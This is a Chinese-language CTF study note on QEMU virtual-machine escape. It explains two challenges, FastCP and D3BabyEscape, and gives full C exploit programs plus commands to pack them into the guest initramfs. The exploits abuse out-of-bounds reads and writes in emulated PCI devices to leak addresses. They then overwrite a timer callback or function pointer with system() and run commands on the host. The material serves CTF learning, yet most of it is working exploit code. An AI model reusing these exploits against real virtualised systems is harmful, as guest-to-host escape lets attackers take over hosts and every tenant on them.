常用指令

lspci 
ls /sys/devices/pci0000\:00/0000\:00\:04.0/
-monitor telnet:127.0.0.1:4444,server,nowait 后 nc 127.0.0.1 4444可以info pci看的更清楚,这个技巧仅限于qemu，发现内核不好使

qemu到底在pwn什么

• 主要是pwn qemu这个elf文件本身，说是虚拟机但是更像用软件实现虚拟化，qemu文件中有各种各样的函数可以使用，因此泄露之后如何有任意函数执行那么就可以拿到shell
• 远程一般要反弹shell
• 主要是把exp复制到.cpio这个压缩包中，这样就可以在qemu中运行我们所写的攻击脚本

mkdir exp
cp ./initramfs-busybox-x64.cpio.gz ./exp/
cd exp
gunzip ./initramfs-busybox-x64.cpio.gz 
cpio -idmv < ./initramfs-busybox-x64.cpio
mkdir root
cp ../exp.c ./root/
gcc ./root/exp.c -o ./root/exp -static 
find . | cpio -o --format=newc > initramfs-busybox-x64.cpio
gzip initramfs-busybox-x64.cpio
cp initramfs-busybox-x64.cpio.gz ..

有关调试

• 主要有两种调试方法
  1. 直接gdb qemu这个文件，然后set args设置启动参数
  2. 运行./launch.sh，然后ps -ef | grep qemu，通过gdb -p 进程号就可以连上进行调试了
• 发现想打exp里面的断点很困难，那就把断点打在qemu这个文件中，比如b fastcp_mmio_write,然后c就行了

基础知识

• 有很多前人的参考博客就基本知识就不过多赘述，主要记录自己的一些理解
  入门最好的博客
  一篇简短地讲qemu pwn到底在干什么的博客
  很详细地讲了qemu的基础知识
  这篇博客也不错

地址转化

• 这一点还是比较重要的，只有地址正确才能正确的执行相应的函数

PCI 设备地址空间

• 主要就是MMIO和PMIO，目前只pwn过MMIO的

主要漏洞

• 一般的漏洞都是读写的错误，特别是写的越界，因此注意检查size的限制很重要

FastCP

主要参考了这个博客

- 入门qemu逃逸第一题，花了好几天时间才把所有的细节搞明白 题目分析

• 题目名字就是fastcp，所以ida直接搜发现这些有关的，一般漏洞也都是因为mmio_write，所以开始代码审计，审计过程略

• 在mmio_write这个函数中跟进一个函数

这里的函数执行竟然是通过存储的timer结构体，因此如果可以控制timer结构体意味着就可以任意函数执行

• 然后就是看是MMIO还是PMIO

发现resource0，那就是MMIO了

exp分析

mmio_write与qemu的联系

• 看到qemu中的这个函数就在想这个mmio_mem怎么和这个qemu中的这个函数联系起来
• 应该这样理解，通过打开resource0这个设备再映射，那么往mmio_mem写入的东西会被这样处理:FastCPState *opaque和size这两个参数不用管，往mmio_mem写入东西的偏移就是addr,对应偏移的值就是val，这样一切都联系起来了

userbuf和phy_userbuf

• 这里要先理解我们写的exp和qemu是两个不同的进程，而我们的最终目的是通过泄露出qemu中的东西然后任意函数执行最终pwn掉qemu这个宿主
• 地址转换这个不多赘述

qemu中的函数和exp中的函数分析

• 主要是fastcp_cp_timer这个函数,cp_info是这个函数的一个局部变量，cp_list_src要是phy_userbuf才行，因此我们不能在qemu这个进程中访问到exp进程的东西，但是却可以通过phy_userbuf访问到。同时我们可以在exp中把想要的数据复制给userbuf，这样就联系起来了
• cmd=4，把cp_list_src也就是phy_userbuf中的cp_info复制给qemu中的cp_info这个局部变量，然后把cp_buffer中的数据复制给dst

• cmd=2，把src中的值复制给cp_buffer

• cmd=1，把src的值复制给buf，再把buf的值复制给dst

exp攻击流程

任意地址的泄露

• 注意到把buf的值复制到dst时没有长度限制，但是在qemu这个结构体中，buf后面就是timer这个结构体，因此可以把timer结构体的内容泄露

• 看到exp中leak_timer = *(uint64_t*)(&userbuf[0x10]),这就是通过phy_userbuf这个桥梁，在exp进程中获取到了qemu进程的东西

任意函数的执行

1. 前面说到有cb(opaque)这个任意函数执行，因此设置相应的值就可以

1. 这里先说说这个struct_head是什么，其实就是这个结构体的头部，所以才有timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30

1. 再说说exp中的这部分

• src和dst都是gva_to_gpa(userbuf + 0x1000) - 0x1000 ，先把src复制到buf,因为len=0x1000 + sizeof(timer)所以buf后面的timer结构体就被修改为我们期望的样子了。后面buf复制到dst其实都不重要了，然后只要让cmd=1，也就是调用fastcp_cp_timer函数就可以任意函数执行了
• 这里又来了一个知识点，因此虽然是memcpy(userbuf + 0x1000, &timer, sizeof(timer)); 但是后面却是gva_to_gpa(userbuf + 0x1000) - 0x1000，这是因为多于一页物理地址不一定连续了

• exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/io.h>
#include <unistd.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
char* userbuf;
uint64_t phy_userbuf, phy_userbuf2;
unsigned char* mmio_mem;
struct FastCP_CP_INFO
{
    uint64_t CP_src;
    uint64_t CP_cnt;
    uint64_t CP_dst;
};
struct QEMUTimer
{
    int64_t expire_time;
    int64_t timer_list;
    int64_t cb;
    void* opaque;
    int64_t next;
    int attributes;
    int scale;
    char shell[0x50];
};
void die(const char* msg)
{
    perror(msg);
    exit(-1);
}
uint64_t page_offset(uint64_t addr)
{
    return addr &amp; ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void* addr)
{
    uint64_t pme, gfn;
    size_t offset;
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0)
    {
        die("open pagemap");
    }
    offset = ((uintptr_t)addr >> 9) &amp; ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &amp;pme, 8);
    if (!(pme &amp; PFN_PRESENT))
        return -1;
    gfn = pme &amp; PFN_PFN;
    return gfn;
}
//用户虚拟地址gva到用户物理地址gpa
//先根据用户虚拟地址gva算出，用户所在页号gfn,再根据gfn和offset算出用户物理地址gpa（将gfn和offset位拼起来）
uint64_t gva_to_gpa(void* addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
//一开始mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
//mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
void mmio_write(uint64_t addr, uint64_t value)
{
    *((uint64_t*)(mmio_mem + addr)) = value;
}
//这个read感觉完全没用，不用都行
uint64_t mmio_read(uint64_t addr)
{
    return *((uint64_t*)(mmio_mem + addr));
}
void fastcp_set_list_src(uint64_t list_addr)
{
    mmio_write(0x8, list_addr);
}
void fastcp_set_cnt(uint64_t cnt)
{
    mmio_write(0x10, cnt);
}
void fastcp_do_cmd(uint64_t cmd)
{
    mmio_write(0x18, cmd);
}
//这个fastcp_do_readfrombuffer和fastcp_mmio_read完全不一样
//把buffer的数据复制到dst
void fastcp_do_readfrombuffer(uint64_t addr, uint64_t len)
{
    //以下三个是往cp_info里面写入值
    struct FastCP_CP_INFO info;
    info.CP_cnt = len;
    info.CP_src = NULL;
    info.CP_dst = addr;
    memcpy(userbuf, &amp;info, sizeof(info));
    //以下三个是往opaque->cp_state写入值
    fastcp_set_cnt(1);
    fastcp_set_list_src(phy_userbuf);
    fastcp_do_cmd(4);
    sleep(1);
}
//把src的数据复制到buffer
void fastcp_do_writetobuffer(uint64_t addr, uint64_t len)
{
    struct FastCP_CP_INFO info;
    info.CP_cnt = len;
    info.CP_src = addr;
    info.CP_dst = NULL;
    memcpy(userbuf, &amp;info, sizeof(info));
    fastcp_set_cnt(1);
    fastcp_set_list_src(phy_userbuf);
    fastcp_do_cmd(2);
    sleep(1);
}
void fastcp_do_movebuffer(uint64_t srcaddr, uint64_t dstaddr, uint64_t len)
{
    struct FastCP_CP_INFO info[0x11];
    for (int i = 0; i < 0x11; i++)
    {
        info[i].CP_cnt = len;
        info[i].CP_src = srcaddr;
        info[i].CP_dst = dstaddr;
    }
    memcpy(userbuf, &amp;info, sizeof(info));
    fastcp_set_cnt(0x11);
    fastcp_set_list_src(phy_userbuf);
    fastcp_do_cmd(1);
    sleep(1);
}
//在qemu_main_loop中会不断执行各个函数，包括fastcp_mmio_write这个函数
int main(int argc, char* argv[])
{
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
    //把刚才打开的resource0文件内容映射到一个地方
    mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
    printf("mmio_mem: %p\n", mmio_mem);
    /*
    MAP_ANONYMOUS 是 mmap() 函数的一个标志，用于创建匿名映射，即在进程的地址空间中映射一段未与任何文件关联的内存区域
    因此有了-1这个参数
    */
    userbuf = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED)
        die("mmap userbuf failed");
    /*
    mlock() 是一个系统调用，用于锁定指定内存区域，防止其被交换到磁盘上。
    这可以确保这些内存区域的内容始终驻留在物理内存中，而不会因为系统内存不足而被交换出去。
    */
    mlock(userbuf, 0x10000);
    phy_userbuf = gva_to_gpa(userbuf);
    printf("user buff virtual address: %p\n", userbuf);
    printf("user buff physical address: %p\n", (void*)phy_userbuf);
    fastcp_do_readfrombuffer(phy_userbuf, 0x1030);
    fastcp_do_writetobuffer(phy_userbuf + 0x1000, 0x30);
    fastcp_do_readfrombuffer(phy_userbuf, 0x30);
    //泄露pie,得到system函数的地址
    uint64_t leak_timer = *(uint64_t*)(&amp;userbuf[0x10]);
    printf("leaking timer: %p\n", (void*)leak_timer);
    fastcp_set_cnt(1);
    uint64_t pie_base = leak_timer - 0x4dce80;
    printf("pie_base: %p\n", (void*)pie_base);
    uint64_t system_plt = pie_base + 0x2C2180;
    printf("system_plt: %p\n", (void*)system_plt);
    //堆上的某个地址
    uint64_t struct_head = *(uint64_t*)(&amp;userbuf[0x18]);
    struct QEMUTimer timer;
    memset(&amp;timer, 0, sizeof(timer));
    timer.expire_time = 0xffffffffffffffff;
    timer.timer_list = *(uint64_t*)(&amp;userbuf[0x8]);
    timer.cb = system_plt;
    timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30; //这里应该是在qemu这个进程中timer.shell
    printf("struct_head: %p\n",struct_head);
    strcpy(&amp;timer.shell, "echo flag{a_test_flag}");
    //变量仅仅在栈上或堆上是不行的，得到mmio里面去才能被qemu用
    memcpy(userbuf + 0x1000, &amp;timer, sizeof(timer));
    //把src复制到buffer,再把buffer复制到dst
    //把src复制到buffer时就把整个结构体中的timer结构体给覆盖为我们自己修改后的结构体
    fastcp_do_movebuffer(gva_to_gpa(userbuf + 0x1000) - 0x1000, gva_to_gpa(userbuf + 0x1000) - 0x1000, 0x1000 + sizeof(timer));
    fastcp_do_cmd(1);
    return 0;
}

mkdir exp
cp ./initramfs-busybox-x64.cpio.gz ./exp/
cd exp
gunzip ./initramfs-busybox-x64.cpio.gz 
cpio -idmv < ./initramfs-busybox-x64.cpio
mkdir root
cp ../exp.c ./root/
gcc ./root/exp.c -o ./root/exp -static 
find . | cpio -o --format=newc > initramfs-busybox-x64.cpio
gzip initramfs-busybox-x64.cpio
cp initramfs-busybox-x64.cpio.gz ..

D3BabyEscape

题目分析，开始逆向

• 首先根据-device启动参数知道设备是l0dev，接下来进行逆向。逆向当然不是看所有部分，我们只关心一些重点，也就是这些部分。通过search text找到所有含有l0dev的字符串然后逆向这些函数

• 这里有个小技巧，其实大部分mmio_read或者mmio_write这些函数的参数列表其实都是相似的，这里之前参考之前的一个题进行修改，事实证明确实如此

• 逆向有开源的东西时不要硬逆，看看有没有什么资源是现成的那就可以直接用
• l0dev_realize函数,可见mmio,pmio都有

• l0dev_instance_init函数
• 其实qemu都会维护一个结构体，这里的v1一般就是这个结构体的头部，因此可以根据此大致逆向出这个结构体是个什么，而且这个结构体一般都有buffer

• 结构体,逆向结构体的过程就是算算偏移，要自己体会

• mmio_read函数,如果可以控制offset，就可以任意地址泄露

• mmio_write函数,发现addr=128可以控制offset的值,addr=64这个看的很奇怪，其实就是根据结构体头部+0xd48来执行这里的函数，然后将buf作为rdi,就是一个任意函数执行

• pmio_read函数,复制值666就可以让magic=1

• pmio_write函数,magic=1可以任意地址写

exp分析

• 有了任意地址读和写，任意函数执行，这个题就很简单了
• exp没什么好分析的，注意如何使用libc中的函数，从Dockerfile里面看到libc版本然后手动找偏移就行了

• 通过info pci找到pmio的端口

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/io.h>
char *mmio_mem;
size_t mmio_read(size_t addr)
{
    size_t *mmio = (size_t *)((size_t)mmio_mem + addr);
    return *(mmio);
}
void mmio_write(size_t addr, size_t val)
{
    size_t *mmio = (size_t *)((size_t)mmio_mem + addr);
    *(mmio) = val;
}
#define IO_PORT 0xc000
size_t pmio_read(size_t addr)
{
    size_t pmio = IO_PORT + addr;
    return inl(pmio);
}
void pmio_write(size_t addr, size_t val)
{
    size_t pmio = IO_PORT + addr;
    outl(val, pmio);
}
int main()
{
    int mmio_fd;
    size_t libc_addr = 0, system_addr;
    // Open and map I/O memory for the string device
    mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
    mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
    if(iopl(3) == -1) /* Apply to system for accessing the port */
    {
        perror("iopl");
        exit(EXIT_FAILURE);
    }
    mmio_write(128, 0x100);
    libc_addr = mmio_read(4);
    libc_addr = libc_addr - 0x460a0; // srandom offset
    printf("libc_addr: %#lx\n", libc_addr);
    system_addr = libc_addr + 0x50d70;
    //让magic的值为666
    pmio_write(0, 666);
    pmio_read(0);
    //覆盖rand_r为system，任意函数执行
    pmio_write(20, system_addr);
    mmio_write(64, 0x6873);
    return 0;
}

mkdir exp
cp ./bin/rootfs.img ./exp/
cd exp
cpio -idmv < ./rootfs.img
mkdir root
cp ../exp.c ./root/
gcc ./root/exp.c -o ./root/exp -static 
find . | cpio -o --format=newc > rootfs.img
cp rootfs.img /home/zp9080/attachment/bin